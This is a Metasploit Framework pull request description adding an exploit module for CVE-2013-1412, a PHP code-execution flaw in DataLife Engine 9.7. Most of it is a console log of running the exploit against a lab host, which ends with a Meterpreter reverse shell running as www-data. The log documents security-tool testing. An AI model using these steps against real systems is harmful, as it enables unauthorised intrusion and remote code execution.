rapid7/metasploit-framework — pull request #1418 by jvazquez-r7 (2013-01-31 15:12:17+00:00)
Title: added module for cve-2013-1412

I've used a custom template to trigger vulnerability. Template preview.tpl sent to @wchen-r7 via e-mail.

The vulnerable app can be downloaded from:

http://www.exploit-db.com/exploits/24438/

The 9.7 version included in the vendor page has been patched! The module check method allows to test vulnerability.

Test results:

```
msf > use exploit/unix/webapp/datalife_preview_exec
msf exploit(datalife_preview_exec) > show options

Module options (exploit/unix/webapp/datalife_preview_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 DataLife Engine 9.7

msf exploit(datalife_preview_exec) > reload
[*] Reloading module...
msf exploit(datalife_preview_exec) > set targeturi /upload
targeturi => /upload
msf exploit(datalife_preview_exec) > set rhost 192.168.1.131
rhost => 192.168.1.131
msf exploit(datalife_preview_exec) > check
[+] The target is vulnerable.
msf exploit(datalife_preview_exec) > exploit

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Sending stage (39217 bytes) to 192.168.1.131
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.131:41935) at 2013-01-31 16:08:30 +0100

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.131 - Meterpreter session 1 closed. Reason: User exit

```